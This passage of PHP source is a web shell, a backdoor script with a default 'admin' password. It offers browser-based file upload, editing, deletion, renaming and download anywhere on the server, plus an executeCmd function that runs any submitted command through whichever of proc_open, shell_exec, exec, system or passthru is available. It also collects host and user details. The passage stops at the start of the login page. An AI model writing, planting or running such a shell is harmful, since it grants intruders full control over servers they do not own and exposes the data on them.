'21232f297a57a5a743894a0e4a801fc3', // md5('admin') 'blocked_exts' => array('exe', 'dll', 'bat', 'cmd', 'com', 'scr'), 'max_upload' => 10485760, // 10MB 'root_dir' => realpath(getcwd()) ? realpath(getcwd()) : getcwd() ); // ============================================================================ // UTILITY FUNCTIONS // ============================================================================ function formatBytes($size) { if ($size < 0 || $size === false) return 'N/A'; $units = array('B', 'KB', 'MB', 'GB', 'TB'); $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } function getPerms($file) { if (!file_exists($file)) return '---------'; $perms = fileperms($file); $r = ''; $r .= ($perms & 00400) ? 'r' : '-'; $r .= ($perms & 00200) ? 'w' : '-'; $r .= ($perms & 00100) ? (($perms & 04000) ? 's' : 'x') : (($perms & 04000) ? 'S' : '-'); $r .= ($perms & 00040) ? 'r' : '-'; $r .= ($perms & 00020) ? 'w' : '-'; $r .= ($perms & 00010) ? (($perms & 02000) ? 's' : 'x') : (($perms & 02000) ? 'S' : '-'); $r .= ($perms & 00004) ? 'r' : '-'; $r .= ($perms & 00002) ? 'w' : '-'; $r .= ($perms & 00001) ? (($perms & 01000) ? 't' : 'x') : (($perms & 01000) ? 'T' : '-'); return $r; } function executeCmd($cmd) { $cmd = trim($cmd); if (empty($cmd)) return ''; $output = ''; if (function_exists('proc_open')) { $descriptors = array( 0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w') ); $process = @proc_open($cmd, $descriptors, $pipes); if (is_resource($process)) { fwrite($pipes[0], "\n"); fclose($pipes[0]); $output = stream_get_contents($pipes[1]); $errors = stream_get_contents($pipes[2]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); if ($errors) $output .= "\n" . $errors; } } elseif (function_exists('shell_exec')) { $output = @shell_exec($cmd . ' 2>&1'); } elseif (function_exists('exec')) { $out = array(); @exec($cmd . ' 2>&1', $out, $ret); $output = implode("\n", $out); } elseif (function_exists('system')) { ob_start(); @system($cmd . ' 2>&1'); $output = ob_get_clean(); } elseif (function_exists('passthru')) { ob_start(); @passthru($cmd . ' 2>&1'); $output = ob_get_clean(); } return $output ? $output : '[No output]'; } // ============================================================================ // AUTHENTICATION // ============================================================================ if (!isset($_SESSION['ws_auth'])) { $_SESSION['ws_auth'] = false; } if (isset($_POST['login'])) { if (md5($_POST['password']) === $CONFIG['password']) { $_SESSION['ws_auth'] = true; session_regenerate_id(true); } } if (isset($_GET['logout'])) { session_destroy(); header('Location: ' . $_SERVER['PHP_SELF']); exit; } // ============================================================================ // DOWNLOAD HANDLER // ============================================================================ if (isset($_GET['download']) && $_SESSION['ws_auth']) { $file = basename($_GET['download']); $current_dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd(); $current_dir = realpath($current_dir); if (!$current_dir) $current_dir = getcwd(); $filepath = $current_dir . '/' . $file; if (file_exists($filepath) && is_file($filepath) && is_readable($filepath)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . $file . '"'); header('Content-Length: ' . filesize($filepath)); header('Cache-Control: no-cache, must-revalidate'); readfile($filepath); exit; } http_response_code(404); exit('File not found'); } // ============================================================================ // MAIN LOGIC // ============================================================================ $current_dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd(); $current_dir = realpath($current_dir); if (!$current_dir) $current_dir = getcwd(); $action = isset($_GET['action']) ? $_GET['action'] : 'files'; $msg = ''; $error = ''; if ($_SERVER['REQUEST_METHOD'] == 'POST' && $_SESSION['ws_auth']) { if (isset($_FILES['upload']) && $_FILES['upload']['error'] === UPLOAD_ERR_OK) { $name = basename($_FILES['upload']['name']); $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION)); if (in_array($ext, $CONFIG['blocked_exts'])) { $error = 'File type not allowed'; } elseif ($_FILES['upload']['size'] > $CONFIG['max_upload']) { $error = 'File too large (max ' . formatBytes($CONFIG['max_upload']) . ')'; } else { $target = $current_dir . '/' . $name; if (move_uploaded_file($_FILES['upload']['tmp_name'], $target)) { $msg = 'File uploaded: ' . htmlspecialchars($name); } else { $error = 'Upload failed (permission denied)'; } } } elseif (isset($_POST['save_file'])) { $file = $_POST['file_path']; $content = isset($_POST['content']) ? $_POST['content'] : ''; if (file_put_contents($file, $content) !== false) { $msg = 'File saved successfully'; } else { $error = 'Save failed'; } } elseif (isset($_POST['delete'])) { $file = $_POST['file']; if (is_dir($file)) { if (@rmdir($file)) { $msg = 'Directory deleted'; } else { $error = 'Directory not empty or permission denied'; } } else { if (@unlink($file)) { $msg = 'File deleted'; } else { $error = 'Failed to delete file'; } } } elseif (isset($_POST['mkdir'])) { $newdir = $current_dir . '/' . $_POST['dirname']; if (@mkdir($newdir, 0755, true)) { $msg = 'Directory created'; } else { $error = 'Failed to create directory'; } } elseif (isset($_POST['rename'])) { $old = $current_dir . '/' . $_POST['oldname']; $new = $current_dir . '/' . $_POST['newname']; if (file_exists($old)) { if (!file_exists($new)) { if (@rename($old, $new)) { $msg = 'Renamed to: ' . htmlspecialchars($_POST['newname']); } else { $error = 'Failed to rename'; } } else { $error = 'Destination already exists'; } } else { $error = 'Source not found'; } } elseif (isset($_POST['create_file'])) { $newfile = $current_dir . '/' . $_POST['filename']; if (!file_exists($newfile)) { if (@file_put_contents($newfile, '') !== false) { $msg = 'File created: ' . htmlspecialchars($_POST['filename']); } else { $error = 'Failed to create file'; } } else { $error = 'File already exists'; } } elseif (isset($_POST['cmd'])) { $cmd_output = executeCmd($_POST['cmd']); } } $hostname = function_exists('gethostname') ? gethostname() : (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'localhost'); $php_version = PHP_VERSION; $server_soft = isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : 'Unknown'; $current_user = 'unknown'; if (function_exists('posix_getpwuid') && function_exists('posix_geteuid')) { $pw = @posix_getpwuid(@posix_geteuid()); if ($pw && isset($pw['name'])) { $current_user = $pw['name']; } } // ============================================================================ // LOGIN PAGE // ============================================================================ if (!$_SESSION['ws_auth']) { ?>
Legacy Edition